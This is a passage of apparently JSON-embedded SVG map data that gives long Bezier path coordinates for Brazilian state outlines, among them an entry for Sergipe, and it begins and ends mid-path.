184107.00 78131.67 184064.00 78196.00C183999.67 78335.34 183935.33 78474.66 183871.00 78614.00C183855.95 78629.11 183840.72 78644.04 183825.96 78659.44C183819.64 78665.96 183813.32 78672.48 183807.00 78679.00C183796.33 78668.00 183785.67 78657.00 183775.00 78646.00C183732.90 78561.65 183690.44 78477.49 183648.13 78393.25C183646.57 78390.48 183645.40 78387.54 183644.50 78384.50C183634.33 78354.00 183624.17 78323.50 183614.00 78293.00C183603.33 78293.00 183592.67 78293.00 183582.00 78293.00C183549.67 78271.33 183517.33 78249.67 183485.00 78228.00C183474.33 78217.34 183463.67 78206.66 183453.00 78196.00C183421.00 78217.67 183389.00 78239.33 183357.00 78261.00C183357.00 78271.67 183357.00 78282.33 183357.00 78293.00C183346.33 78293.00 183335.67 78293.00 183325.00 78293.00C183292.67 78303.67 183260.33 78314.33 183228.00 78325.00C183217.33 78325.00 183206.67 78325.00 183196.00 78325.00C183196.00 78314.33 183196.00 78303.67 183196.00 78293.00C183206.67 78293.00 183217.33 78293.00 183228.00 78293.00C183185.33 78293.00 183142.67 78293.00 183100.00 78293.00C183089.33 78303.66 183078.67 78314.34 183068.00 78325.00C183035.67 78303.66 183003.33 78282.34 182971.00 78261.00C182981.67 78218.00 182992.33 78175.00 183003.00 78132.00C182992.33 78089.00 182981.67 78046.00 182971.00 78003.00C182971.00 77949.67 182971.00 77896.33 182971.00 77843.00C182960.31 77821.30 182949.65 77799.58 182938.93 77777.90C182917.60 77745.90 182896.25 77713.91 182874.94 77681.89C182863.96 77660.59 182852.98 77639.30 182842.00 77618.00C182810.00 77596.33 182778.00 77574.67 182746.00 77553.00C182746.00 77542.33 182746.00 77531.67 182746.00 77521.00C182724.67 77499.66 182703.33 77478.34 182682.00 77457.00C182660.33 77457.00 182638.67 77457.00 182617.00 77457.00C182595.67 77478.34 182574.33 77499.66 182553.00 77521.00C182521.00 77521.00 182489.00 77521.00 182457.00 77521.00C182446.00 77531.67 182435.00 77542.33 182424.00 77553.00C182392.00 77553.00 182360.00 77553.00 182328.00 77553.00C182306.67 77542.33 182285.33 77531.67 182264.00 77521.00C182253.33 77521.00 182242.67 77521.00 182232.00 77521.00C182210.33 77499.67 182188.67 77478.33 182167.00 77457.00C182145.67 77446.33 182124.33 77435.67 182103.00 77425.00C182092.33 77425.00 182081.67 77425.00 182071.00 77425.00C182081.67 77414.00 182092.33 77403.00 182103.00 77392.00C182103.00 77381.33 182103.00 77370.67 182103.00 77360.00C182070.67 77349.33 182038.33 77338.67 182006.00 77328.00C181995.29 77327.98 181984.59 77328.03 181973.88 77327.98C181920.25 77317.32 181866.63 77306.66 181813.00 77296.00C181802.29 77285.32 181791.63 77274.59 181780.90 77263.93C181748.93 77242.63 181716.97 77221.31 181685.00 77200.00C181674.33 77189.00 181663.67 77178.00 181653.00 77167.00C181653.00 77135.00 181653.00 77103.00 181653.00 77071.00C181642.33 77049.67 181631.67 77028.33 181621.00 77007.00C181599.33 77007.00 181577.67 77007.00 181556.00 77007.00C181534.67 76985.33 181513.33 76963.67 181492.00 76942.00C181438.33 76931.33 181384.67 76920.67 181331.00 76910.00C181320.31 76888.63 181309.65 76867.25 181298.93 76845.90C181277.61 76813.60 181256.31 76781.30 181235.00 76749.00C181213.33 76727.67 181191.67 76706.33 181170.00 76685.00C181159.33 76653.00 181148.67 76621.00 181138.00 76589.00C181138.00 76567.33 181138.00 76545.67 181138.00 76524.00C181127.33 76513.34 181116.67 76502.66 181106.00 76492.00C181106.00 76417.00 181106.00 76342.00 181106.00 76267.00C181095.33 76245.67 181084.67 76224.33 181074.00 76203.00C181074.00 76192.33 181074.00 76181.67 181074.00 76171.00C181031.00 76149.33 180988.00 76127.67 180945.00 76106.00C180923.67 76106.00 180902.33 76106.00 180881.00 76106.00C180849.00 76127.67 180817.00 76149.33 180785.00 76171.00C180752.67 76171.00 180720.33 76171.00 180688.00 76171.00C180645.30 76127.98 180602.62 76084.93 180559.91 76041.92C180473.94 75966.94 180387.97 75891.97 180302.00 75817.00C180270.00 75795.67 180238.00 75774.33 180206.00 75753.00C180131.00 75742.33 180056.00 75731.67 179981.00 75721.00C179916.67 75721.00 179852.33 75721.00 179788.00 75721.00C179777.33 75710.00 179766.67 75699.00 179756.00 75688.00C179756.00 75677.33 179756.00 75666.67 179756.00 75656.00C179745.31 75634.63 179734.65 75613.25 179723.93 75591.90C179702.28 75559.60 179680.64 75527.30 179659.00 75495.00C179627.00 75463.00 179595.00 75431.00 179563.00 75399.00C179541.29 75388.33 179519.60 75377.61 179497.88 75366.96C179465.92 75356.31 179433.96 75345.65 179402.00 75335.00C179359.00 75302.67 179316.00 75270.33 179273.00 75238.00C179251.67 75216.66 179230.33 75195.34 179209.00 75174.00C179187.67 75174.00 179166.33 75174.00 179145.00 75174.00C179112.67 75163.33 179080.33 75152.67 179048.00 75142.00C179005.33 75120.33 178962.67 75098.67 178920.00 75077.00C178909.33 75066.34 178898.67 75055.66 178888.00 75045.00C178695.00 75013.00 178502.00 74981.00 178309.00 74949.00C178276.67 74949.00 178244.33 74949.00 178212.00 74949.00C178190.63 74938.31 178169.25 74927.65 178147.90 74916.93C178029.93 74841.96 177911.97 74766.98 177794.00 74692.00C177794.00 74681.00 177794.00 74670.00 177794.00 74659.00C177772.67 74616.33 177751.33 74573.67 177730.00 74531.00C177691.61 74511.83 177653.23 74492.63 177614.93 74473.26C177588.95 74460.18 177562.98 74447.09 177537.00 74434.00C177483.33 74423.33 177429.67 74412.67 177376.00 74402.00C177365.33 74402.00 177354.67 74402.00 177344.00 74402.00C177301.33 74423.67 177258.67 74445.33 177216.00 74467.00C177205.00 74467.00 177194.00 74467.00 177183.00 74467.00C177172.33 74434.67 177161.67 74402.33 177151.00 74370.00C177129.67 74348.66 177108.33 74327.34 177087.00 74306.00C177076.33 74284.34 177065.67 74262.66 177055.00 74241.00C177022.67 74241.00 176990.33 74241.00 176958.00 74241.00C176958.00 74219.67 176958.00 74198.33 176958.00 74177.00C176947.33 74177.00 176936.67 74177.00 176926.00 74177.00C176861.67 74123.33 176797.33 74069.67 176733.00 74016.00C176722.33 74005.34 176711.67 73994.66 176701.00 73984.00C176690.33 73984.00 176679.67 73984.00 176669.00 73984.00C176637.00 73994.67 176605.00 74005.33 176573.00 74016.00C176508.67 73994.67 176444.33 73973.33 176380.00 73952.00C176326.33 73941.33 176272.67 73930.67 176219.00 73920.00C176197.67 73898.66 176176.33 73877.34 176155.00 73856.00C176165.67 73823.67 176176.33 73791.33 176187.00 73759.00C176163.23 73735.54 176139.35 73712.20 176115.66 73688.66C176096.44 73669.44 176077.22 73650.22 176058.00 73631.00C176026.00 73631.00 175994.00 73631.00 175962.00 73631.00C175940.33 73609.34 175918.67 73587.66 175897.00 73566.00C175886.33 73566.00 175875.67 73566.00 175865.00 73566.00C175854.33 73555.34 175843.67 73544.66 175833.00 73534.00C175833.00 73523.33 175833.00 73512.67 175833.00 73502.00C175822.33 73502.00 175811.67 73502.00 175801.00 73502.00C175758.00 73491.33 175715.00 73480.67 175672.00 73470.00C175661.33 73470.00 175650.67 73470.00 175640.00 73470.00C175629.33 73480.66 175618.67 73491.34 175608.00 73502.00C175575.67 73491.33 175543.33 73480.67 175511.00 73470.00C175489.67 73480.67 175468.33 73491.33 175447.00 73502.00C175415.00 73469.67 175383.00 73437.33 175351.00 73405.00C175318.67 73405.00 175286.33 73405.00 175254.00 73405.00C175243.33 73394.34 175232.67 73383.66 175222.00 73373.00C175222.00 73351.67 175222.00 73330.33 175222.00 73309.00C175232.67 73298.34 175243.33 73287.66 175254.00 73277.00C175254.00 73255.67 175254.00 73234.33 175254.00 73213.00C175243.33 73202.00 175232.67 73191.00 175222.00 73180.00C175211.33 73148.00 175200.67 73116.00 175190.00 73084.00C175147.00 73041.00 175104.00 72998.00 175061.00 72955.00z"},"br-26":{"name":"Sergipe","path":"M175061.00 80093.00C175071.67 80093.00 175082.33 80093.00 175093.00 80093.00C175104.00 80071.67 175115.00 80050.33 175126.00 80029.00C175136.67 79997.00 175147.33 79965.00 175158.00 79933.00C175158.00 79868.67 175158.00 79804.33 175158.00 79740.00C175168.67 79718.34 175179.33 79696.66 175190.00 79675.00C175200.67 79675.00 175211.33 79675.00 175222.00 79675.00C175254.33 79664.33 175286.67 79653.67 175319.00 79643.00C175329.67 79664.33 175340.33 79685.67 175351.00 79707.00C175383.00 79707.00 175415.00 79707.00 175447.00 79707.00C175468.33 79718.00 175489.67 79729.00 175511.00 79740.00C175532.67 79740.00 175554.33 79740.00 175576.00 79740.00C175586.67 79718.34 175597.33 79696.66 175608.00 79675.00C175629.33 79685.67 175650.67 79696.33 175672.00 79707.00C175693.67 79685.67 175715.33 79664.33 175737.00 79643.00C175758.33 79664.34 175779.67 79685.66 175801.00 79707.00C175833.00 79696.33 175865.00 79685.67 175897.00 79675.00C175907.67 79675.00 175918.33 79675.00 175929.00 79675.00C175940.00 79696.67 175951.00 79718.33 175962.00 79740.00C175972.67 79740.00 175983.33 79740.00 175994.00 79740.00C176015.33 79761.34 176036.67 79782.66 176058.00 79804.00C176058.00 79857.67 176058.00 79911.33 176058.00 79965.00C176101.00 79965.00 176144.00 79965.00 176187.00 79965.00C176229.70 79943.32 176272.39 79921.63 176315.09 79899.96C176369.85 79878.22 176424.57 79856.40 176479.35 79834.70C176671.23 79760.13 176863.12 79685.57 177055.00 79611.00C177033.67 79428.67 177012.33 79246.33 176991.00 79064.00C176991.00 79053.33 176991.00 79042.67 176991.00 79032.00C176980.00 79021.33 176969.00 79010.67 176958.00 79000.00C176958.00 78989.33 176958.00 78978.67 176958.00 78968.00C176947.33 78957.34 176936.67 78946.66 176926.00 78936.00C176926.00 78925.33 176926.00 78914.67 176926.00 78904.00C176947.67 78904.00 176969.33 78904.00 176991.00 78904.00C176991.00 78893.00 176991.00 78882.00 176991.00 78871.00C177001.67 78860.34 177012.33 78849.66 177023.00 78839.00C177023.00 78849.67 177023.00 78860.33 177023.00 78871.00C177023.00 78849.67 177023.00 78828.33 177023.00 78807.00C177033.67 78785.67 177044.33 78764.33 177055.00 78743.00C177055.00 78721.67 177055.00 78700.33 177055.00 78679.00C177044.33 78646.67 177033.67 78614.33 177023.00 78582.00C176969.33 78485.67 176915.67 78389.33 176862.00 78293.00C176872.67 78282.34 176883.33 78271.66 176894.00 78261.00C176883.33 78239.34 176872.67 78217.66 176862.00 78196.00C176894.00 78185.33 176926.00 78174.67 176958.00 78164.00C176947.33 78164.00 176936.67 78164.00 176926.00 78164.00C176926.00 78153.33 176926.00 78142.67 176926.00 78132.00C176936.67 78121.34 176947.33 78110.66 176958.00 78100.00C176958.00 78089.33 176958.00 78078.67 176958.00 78068.00C176979.67 78068.00 177001.33 78068.00 177023.00 78068.00C177023.00 78057.33 177023.00 78046.67 177023.00 78036.00C177033.67 78025.00 177044.33 78014.00 177055.00 78003.00C177065.67 78003.00 177076.33 78003.00 177087.00 78003.00C177119.00 77981.67 177151.00 77960.33 177183.00 77939.00C177194.00 77928.33 177205.00 77917.67 177216.00 77907.00C177248.00 77907.00 177280.00 77907.00 177312.00 77907.00C177355.00 77885.67 177398.00 77864.33 177441.00 77843.00C177430.00 77832.00 177419.00 77821.00 177408.00 77810.00C177407.99 77799.30 177408.03 77788.60 177407.98 77777.90C177365.32 77574.27 177322.66 77370.63 177280.00 77167.00C177258.67 77156.33 177237.33 77145.67 177216.00 77135.00C177216.01 77124.30 177215.97 77113.60 177216.02 77102.90C177226.68 77049.27 177237.34 76995.63 177248.00 76942.00C177248.00 76920.67 177248.00 76899.33 177248.00 76878.00C177215.67 76835.00 177183.33 76792.00 177151.00 76749.00C177108.33 76663.34 177065.67 76577.66 177023.00 76492.00C177023.00 76427.67 177023.00 76363.33 177023.00 76299.00C177012.33 76277.67 177001.67 76256.33 176991.00 76235.00C176915.67 76192.00 176840.33 76149.00 176765.00 76106.00C176754.33 76116.66 176743.67 76127.34 176733.00 76138.00C176701.00 76127.33 176669.00 76116.67 176637.00 76106.00C176604.67 76106.00 176572.33 76106.00 176540.00 76106.00C176540.00 76084.67 176540.00 76063.33 176540.00 76042.00C176518.67 76042.00 176497.33 76042.00 176476.00 76042.00C176454.67 76052.67 176433.33 76063.33 176412.00 76074.00C176401.33 76074.00 176390.67 76074.00 176380.00 76074.00C176369.00 76063.33 176358.00 76052.67 176347.00 76042.00C176315.00 75977.67 176283.00 75913.33 176251.00 75849.00C176229.67 75838.33 176208.33 75827.67 176187.00 75817.00C176187.00 75806.33 176187.00 75795.67 176187.00 75785.00C176208.33 75752.66 176229.67 75720.34 176251.00 75688.00C176251.00 75656.00 176251.00 75624.00 176251.00 75592.00C176272.33 75570.66 176293.67 75549.34 176315.00 75528.00C176315.00 75517.00 176315.00 75506.00 176315.00 75495.00C176304.33 75484.34 176293.67 75473.66 176283.00 75463.00C176304.33 75420.33 176325.67 75377.67 176347.00 75335.00C176336.33 75324.34 176325.67 75313.66 176315.00 75303.00C176304.33 75303.00 176293.67 75303.00 176283.00 75303.00C176251.00 75292.00 176219.00 75281.00 176187.00 75270.00C176154.67 75238.00 176122.33 75206.00 176090.00 75174.00C176090.00 75163.33 176090.00 75152.67 176090.00 75142.00C176079.33 75142.00 176068.67 75142.00 176058.00 75142.00C176036.67 75099.00 176015.33 75056.00 175994.00 75013.00C175994.00 74906.00 175994.00 74799.00 175994.00 74692.00C176015.33 74681.00 176036.67 74670.00 176058.00 74659.00C176068.67 74637.67 176079.33 74616.33 176090.00 74595.00C176111.67 74573.67 176133.33 74552.33 176155.00 74531.00C176176.33 74531.00 176197.67 74531.00 176219.00 74531.00C176229.67 74520.34 176240.33 74509.66 176251.00 74499.00C176240.33 74488.34 176229.67 74477.66 176219.00 74467.00C176197.67 74456.00 176176.33 74445.00 176155.00 74434.00C176142.76 74422.07 176130.40 74410.27 176118.25 74398.25C176108.83 74388.84 176099.42 74379.42 176090.00 74370.00C176068.67 74359.33 176047.33 74348.67 176026.00 74338.00C176015.33 74316.67 176004.67 74295.33 175994.00 74274.00C175994.00 74231.00 175994.00 74188.00 175994.00 74145.00C176004.67 74134.34 176015.33 74123.66 176026.00 74113.00C176036.67 74123.66 176047.33 74134.34 176058.00 74145.00C176058.00 74134.33 176058.00 74123.67 176058.00 74113.00C176068.67 74102.34 176079.33 74091.66 176090.00 74081.00C176090.00 74070.33 176090.00 74059.67 176090.00 74049.00C176079.33 74038.00 176068.67 74027.00 176058.00 74016.00C176079.33 73994.66 176100.67 73973.34 176122.00 73952.00C176122.00 73941.33 176122.00 73930.67 176122.00 73920.00C176133.00 73898.67 176144.00 73877.33 176155.00 73856.00C176176.33 73877.34 176197.67 73898.66 176219.00 73920.00C176272.67 73930.67 176326.33 73941.33 176380.00 73952.00C176444.33 73973.33 176508.67 73994.67 176573.00 74016.00C176605.00 74005.33 176637.00 73994.67 176669.00 73984.00C176679.67 73984.00 176690.33 73984.00 176701.00 73984.00C176711.72 73994.70 176722.41 74005.44 176733.15 74016.12C176797.43 74069.75 176861.72 74123.37 176926.00 74177.00C176936.67 74177.00 176947.33 74177.00 176958.00 74177.00C176958.00 74198.33 176958.00 74219.67 176958.00 74241.00C176990.33 74241.00 177022.67 74241.00 177055.00 74241.00C177065.67 74262.66 177076.33 74284.34 177087.00 74306.00C177108.33 74327.34 177129.67 74348.66 177151.00 74370.00C177161.67 74402.33 177172.33 74434.67 177183.00 74467.00C177194.00 74467.00 177205.00 74467.00 177216.00 74467.00C177258.67 74445.33 177301.33 74423.67 177344.00 74402.00C177354.70 74402.01 177365.40 74401.98 177376.10 74402.02C177429.73 74412.68 177483.37 74423.34 177537.00 74434.00C177584.54 74457.92 177632.02 74481.94 177679.59 74505.80C177696.40 74514.20 177713.20 74522.60 177730.00 74531.00C177751.33 74573.67 177772.67 74616.33 177794.00 74659.00C177794.00 74670.00 177794.00 74681.00 177794.00 74692.00C177912.00 74767.00 178030.00 74842.00 178148.00 74917.00C178169.33 74927.67 178190.67 74938.33 178212.00 74949.00C178244.33 74949.00 178276.67 74949.00 178309.00 74949.00C178502.00 74981.00 178695.00 75013.00 178888.00 75045.00C178898.67 75055.66 178909.33 75066.34 178920.00 75077.00C178962.67 75098.67 179005.33 75120.33 179048.00 75142.00C179080.33 75152.67 179112.67 75163.33 179145.00 75174.00C179166.33 75174.00 179187.67 75174.00 179209.00 75174.00C179230.33 75195.34 179251.67 75216.66 179273.00 75238.00C179316.00 75270.33 179359.00 75302.67 179402.00 75335.00C179434.00 75345.67 179466.00 75356.33 179498.00 75367.00C179519.67 75377.67 179541.33 75388.33 179563.00 75399.00C179595.00 75431.00 179627.00 75463.00 179659.00 75495.00C179680.67 75527.33 179702.33 75559.67 179724.00 75592.00C179734.67 75613.33 179745.33 75634.67 179756.00 75656.00C179756.00 75666.67 179756.00 75677.33 179756.00 75688.00C179766.67 75699.00 179777.33 75710.00 179788.00 75721.00C179852.33 75721.00 179916.67 75721.00 179981.00 75721.00C180056.00 75731.67 180131.00 75742.33 180206.00 75753.00C180238.00 75774.33 180270.00 75795.67 180302.00 75817.00C180388.00 75892.00 180474.00 75967.00 180560.00 76042.00C180602.67 76085.00 180645.33 76128.00 180688.00 76171.00C180720.33 76171.00 180752.67 76171.00 180785.00 76171.00C180817.00 76149.33 180849.00 76127.67 180881.00 76106.00C180902.33 76106.00 180923.67 76106.00 180945.00 76106.00C180988.00 76127.67 181031.00 76149.33 181074.00 76171.00C181074.00 76181.67 181074.00 76192.33 181074.00 76203.00C181084.67 76224.33 181095.33 76245.67 181106.00 76267.00C181106.00 76342.00 181106.00 76417.00 181106.00 76492.00C181116.67 76502.66 181127.33 76513.34 181138.00 76524.00C181138.00 76545.67 181138.00 76567.33 181138.00 76589.00C181148.67 76621.00 181159.33 76653.00 181170.00 76685.00C181191.67 76706.33 181213.33 76727.67 181235.00 76749.00C181256.33 76781.34 181277.67 76813.66 181299.00 76846.00C181309.67 76867.33 181320.33 76888.67 181331.00 76910.00C181384.67 76920.67 181438.33 76931.33 181492.00 76942.00C181513.33 76963.67 181534.67 76985.33 181556.00 77007.00C181577.67 77007.00 181599.33 77007.00 181621.00 77007.00C181631.67 77028.33 181642.33 77049.67 181653.00 77071.00C181653.00 77103.00 181653.00 77135.00 181653.00 77167.00C181663.67 77178.00 181674.33 77189.00 181685.00 77200.00C181717.00 77221.33 181749.00 77242.67 181781.00 77264.00C181791.67 77274.66 181802.33 77285.34 181813.00 77296.00C181866.67 77306.67 181920.33 77317.33 181974.00 77328.00C181984.67 77328.00 181995.33 77328.00 182006.00 77328.00C182038.33 77338.67 182070.67 77349.33 182103.00 77360.00C182103.00 77370.67 182103.00 77381.33 182103.00 77392.00C182092.33 77403.00 182081.67 77414.00 182071.00 77425.00C182081.67 77425.00 182092.33 77425.00 182103.00 77425.00C182124.33 77435.67 182145.67 77446.33 182167.00 77457.00C182188.67 77478.33 182210.33 77499.67 182232.00 77521.00C182242.67 77521.00 182253.33 77521.00 182264.00 77521.00C182285.33 77531.67 182306.67 77542.33 182328.00 77553.00C182360.00 77553.00 182392.00 77553.00 182424.00 77553.00C182435.00 77542.33 182446.00 77531.67 182457.00 77521.00C182489.00 77521.00 182521.00 77521.00 182553.00 77521.00C182574.33 77499.66 182595.67 77478.34 182617.00 77457.00C182638.67 77457.00 182660.33 77457.00 182682.00 77457.00C182703.33 77478.34 182724.67 77499.66 182746.00 77521.00C182746.00 77531.67 182746.00 77542.33 182746.00 77553.00C182778.00 77574.67 182810.00 77596.33 182842.00 77618.00C182853.02 77639.36 182864.02 77660.73 182875.05 77682.08C182896.37 77714.05 182917.68 77746.03 182939.00 77778.00C182949.67 77799.66 182960.33 77821.34 182971.00 77843.00C182971.00 77896.33 182971.00 77949.67 182971.00 78003.00C182981.67 78046.00 182992.33 78089.00 183003.00 78132.00C182992.33 78175.00 182981.67 78218.00 182971.00 78261.00C183003.33 78282.34 183035.67 78303.66 183068.00 78325.00C183078.67 78314.34 183089.33 78303.66 183100.00 78293.00C183142.67 78293.00 183185.33 78293.00 183228.00 78293.00C183217.33 78293.00 183206.67 78293.00 183196.00 78293.00C183196.00 78303.67 183196.00 78314.33 183196.00 78325.00C183206.67 78325.00 183217.33 78325.00 183228.00 78325.00C183260.33 78314.33 183292.67 78303.67 183325.00 78293.00C183335.67 78293.00 183346.33 78293.00 183357.00 78293.00C183357.00 78282.33 183357.00 78271.67 183357.00 78261.00C183389.00 78239.33 183421.00 78217.67 183453.00 78196.00C183463.67 78206.66 183474.33 78217.34 183485.00 78228.00C183517.33 78249.67 183549.67 78271.33 183582.00 78293.00C183592.67 78293.00 183603.33 78293.00 183614.00 78293.00C183624.67 78325.00 183635.33 78357.00 183646.00 78389.00C183680.86 78458.43 183715.83 78527.81 183750.63 78597.27C183758.75 78613.51 183766.88 78629.76 183775.00 78646.00C183775.00 78689.00 183775.00 78732.00 183775.00 78775.00C183764.33 78764.34 183753.67 78753.66 183743.00 78743.00C183689.21 78753.70 183635.41 78764.37 183581.62 78775.08C183485.41 78796.38 183389.21 78817.70 183293.00 78839.00C183164.33 78892.67 183035.67 78946.33 182907.00 79000.00C182842.67 79032.33 182778.33 79064.67 182714.00 79097.00C182660.08 79139.84 182606.21 79182.74 182552.27 79225.55C182509.51 79257.70 182466.75 79289.85 182424.00 79322.00C182349.00 79354.00 182274.00 79386.00 182199.00 79418.00C182070.33 79503.66 181941.67 79589.34 181813.00 79675.00C181756.71 79731.61 181700.48 79788.29 181644.15 79844.86C181497.09 79991.90 181350.05 80138.95 181203.00 80286.00C181160.00 80339.67 181117.00 80393.33 181074.00 80447.00C181030.96 80511.38 180987.93 80575.78 180944.89 80640.16C180891.59 80715.10 180838.30 80790.05 180785.00 80865.00C180785.00 80886.33 180785.00 80907.67 180785.00 80929.00C180741.98 80982.69 180698.95 81036.38 180655.94 81090.08C180537.96 81261.72 180419.98 81433.36 180302.00 81605.00C180259.33 81690.66 180216.67 81776.34 180174.00 81862.00C180184.67 81872.66 180195.33 81883.34 180206.00 81894.00C180120.31 81990.36 180034.62 82086.71 179948.94 82183.08C179862.96 82290.38 179776.98 82397.69 179691.00 82505.00C179637.67 82601.34 179584.33 82697.66 179531.00 82794.00C179488.00 82922.67 179445.00 83051.33 179402.00 83180.00C179391.33 83190.66 179380.67 83201.34 179370.00 83212.00C179370.00 83233.67 179370.00 83255.33 179370.00 83277.00C179316.33 83277.00 179262.67 83277.00 179209.00 83277.00C179198.33 83298.33 179187.67 83319.67 179177.00 83341.00C179166.33 83341.00 179155.67 83341.00 179145.00 83341.00C179111.95 83373.74 179078.84 83406.42 179045.83 83439.20C179014.56 83470.80 178983.28 83502.40 178952.00 83534.00C178909.00 83566.00 178866.00 83598.00 178823.00 83630.00C178801.67 83640.67 178780.33 83651.33 178759.00 83662.00C178684.00 83662.00 178609.00 83662.00 178534.00 83662.00C178512.67 83683.67 178491.33 83705.33 178470.00 83727.00C178470.00 83748.33 178470.00 83769.67 178470.00 83791.00C178405.67 83791.00 178341.33 83791.00 178277.00 83791.00C178266.00 83780.33 178255.00 83769.67 178244.00 83759.00C178222.67 83759.00 178201.33 83759.00 178180.00 83759.00C178190.67 83769.66 178201.33 83780.34 178212.00 83791.00C178201.33 83791.00 178190.67 83791.00 178180.00 83791.00C178169.33 83780.34 178158.67 83769.66 178148.00 83759.00C178158.67 83737.67 178169.33 83716.33 178180.00 83695.00C178158.67 83695.00 178137.33 83695.00 178116.00 83695.00C178094.67 83705.67 178073.33 83716.33 178052.00 83727.00C178030.33 83727.00 178008.67 83727.00 177987.00 83727.00C177976.33 83716.34 177965.67 83705.66 177955.00 83695.00C177944.33 83673.34 177933.67 83651.66 177923.00 83630.00C177912.33 83630.00 177901.67 83630.00 177891.00 83630.00C177880.33 83640.66 177869.67 83651.34 177859.00 83662.00C177848.00 83651.33 177837.00 83640.67 177826.00 83630.00C177826.00 83651.67 177826.00 83673.33 177826.00 83695.00C177804.67 83695.00 177783.33 83695.00 177762.00 83695.00C177772.67 83716.33 177783.33 83737.67 177794.00 83759.00C177772.67 83780.34 177751.33 83801.66 177730.00 83823.00C177730.00 83844.33 177730.00 83865.67 177730.00 83887.00C177708.67 83876.33 177687.33 83865.67 177666.00 83855.00C177644.33 83855.00 177622.67 83855.00 177601.00 83855.00C177612.00 83823.00 177623.00 83791.00 177634.00 83759.00C177623.00 83759.00 177612.00 83759.00 177601.00 83759.00C177579.67 83769.67 177558.33 83780.33 177537.00 83791.00C177515.67 83791.00 177494.33 83791.00 177473.00 83791.00C177473.00 83769.67 177473.00 83748.33 177473.00 83727.00C177440.67 83727.00 177408.33 83727.00 177376.00 83727.00C177354.67 83705.33 177333.33 83683.67 177312.00 83662.00C177301.33 83673.00 177290.67 83684.00 177280.00 83695.00C177269.33 83684.00 177258.67 83673.00 177248.00 83662.00C177226.33 83662.00 177204.67 83662.00 177183.00 83662.00C177172.33 83651.34 177161.67 83640.66 177151.00 83630.00C177140.33 83640.66 177129.67 83651.34 177119.00 83662.00C177097.67 83651.33 177076.33 83640.67 177055.00 83630.00C177055.00 83608.67 177055.00 83587.33 177055.00 83566.00C177065.67 83555.34 177076.33 83544.66 177087.00 83534.00C177076.33 83523.34 177065.67 83512.66 177055.00 83502.00C177044.33 83502.00 177033.67 83502.00 177023.00 83502.00C177001.33 83491.00 176979.67 83480.00 176958.00 83469.00C176947.33 83469.00 176936.67 83469.00 176926.00 83469.00C176915.33 83447.67 176904.67 83426.33 176894.00 83405.00C176883.33 83405.00 176872.67 83405.00 176862.00 83405.00C176851.33 83394.34 176840.67 83383.66 176830.00 83373.00C176830.00 83351.67 176830.00 83330.33 176830.00 83309.00C176851.33 83309.00 176872.67 83309.00 176894.00 83309.00C176894.00 83287.33 176894.00 83265.67 176894.00 83244.00C176862.00 83255.00 176830.00 83266.00 176798.00 83277.00C176798.00 83266.00 176798.00 83255.00 176798.00 83244.00C176776.33 83233.33 176754.67 83222.67 176733.00 83212.00C176765.33 83212.00 176797.67 83212.00 176830.00 83212.00C176808.33 83201.33 176786.67 83190.67 176765.00 83180.00C176754.33 83180.00 176743.67 83180.00 176733.00 83180.00C176722.33 83201.33 176711.67 83222.67 176701.00 83244.00C176701.00 83233.33 176701.00 83222.67 176701.00 83212.00C176690.33 83222.66 176679.67 83233.34 176669.00 83244.00C176658.33 83233.34 176647.67 83222.66 176637.00 83212.00C176637.00 83180.00 176637.00 83148.00 176637.00 83116.00C176626.33 83116.00 176615.67 83116.00 176605.00 83116.00C176594.33 83105.34 176583.67 83094.66 176573.00 83084.00C176551.33 83084.00 176529.67 83084.00 176508.00 83084.00C176508.00 83094.67 176508.00 83105.33 176508.00 83116.00C176497.33 83116.00 176486.67 83116.00 176476.00 83116.00C176476.00 83137.33 176476.00 83158.67 176476.00 83180.00C176465.33 83180.00 176454.67 83180.00 176444.00 83180.00C176444.00 83169.33 176444.00 83158.67 176444.00 83148.00C176422.67 83126.66 176401.33 83105.34 176380.00 83084.00C176390.67 83084.00 176401.33 83084.00 176412.00 83084.00C176412.00 83073.00 176412.00 83062.00 176412.00 83051.00C176401.33 83051.00 176390.67 83051.00 176380.00 83051.00C176369.00 83062.00 176358.00 83073.00 176347.00 83084.00C176347.00 83062.33 176347.00 83040.67 176347.00 83019.00C176325.67 83019.00 176304.33 83019.00 176283.00 83019.00C176283.00 83008.33 176283.00 82997.67 176283.00 82987.00C176293.67 82976.34 176304.33 82965.66 176315.00 82955.00C176315.00 82944.33 176315.00 82933.67 176315.00 82923.00C176304.33 82912.34 176293.67 82901.66 176283.00 82891.00C176272.33 82858.67 176261.67 82826.33 176251.00 82794.00C176251.00 82783.33 176251.00 82772.67 176251.00 82762.00C176240.33 82772.66 176229.67 82783.34 176219.00 82794.00C176208.33 82783.34 176197.67 82772.66 176187.00 82762.00C176187.00 82751.33 176187.00 82740.67 176187.00 82730.00C176208.33 82730.00 176229.67 82730.00 176251.00 82730.00C176229.67 82719.33 176208.33 82708.67 176187.00 82698.00C176187.00 82687.33 176187.00 82676.67 176187.00 82666.00C176197.67 82666.00 176208.33 82666.00 176219.00 82666.00C176197.67 82633.66 176176.33 82601.34 176155.00 82569.00C176155.00 82547.67 176155.00 82526.33 176155.00 82505.00C176176.33 82494.33 176197.67 82483.67 176219.00 82473.00C176219.00 82462.33 176219.00 82451.67 176219.00 82441.00C176229.67 82430.00 176240.33 82419.00 176251.00 82408.00C176240.33 82397.34 176229.67 82386.66 176219.00 82376.00C176229.67 82365.34 176240.33 82354.66 176251.00 82344.00C176251.00 82333.33 176251.00 82322.67 176251.00 82312.00C176240.33 82312.00 176229.67 82312.00 176219.00 82312.00C176219.00 82301.33 176219.00 82290.67 176219.00 82280.00C176229.67 82280.00 176240.33 82280.00 176251.00 82280.00C176240.33 82258.34 176229.67 82236.66 176219.00 82215.00C176229.67 82215.00 176240.33 82215.00 176251.00 82215.00C176261.67 82204.34 176272.33 82193.66 176283.00 82183.00C176283.00 82151.00 176283.00 82119.00 176283.00 82087.00C176293.67 82076.34 176304.33 82065.66 176315.00 82055.00C176293.67 82055.00 176272.33 82055.00 176251.00 82055.00C176229.67 82044.33 176208.33 82033.67 176187.00 82023.00C176176.33 82033.66 176165.67 82044.34 176155.00 82055.00C176122.67 82022.66 176090.33 81990.34 176058.00 81958.00C176047.33 81968.66 176036.67 81979.34 176026.00 81990.00C176004.67 81979.33 175983.33 81968.67 175962.00 81958.00C175940.33 81936.67 175918.67 81915.33 175897.00 81894.00C175875.67 81883.33 175854.33 81872.67 175833.00 81862.00C175843.67 81851.34 175854.33 81840.66 175865.00 81830.00C175854.33 81819.34 175843.67 81808.66 175833.00 81798.00C175843.67 81776.34 175854.33 81754.66 175865.00 81733.00C175865.00 81722.33 175865.00 81711.67 175865.00 81701.00C175854.33 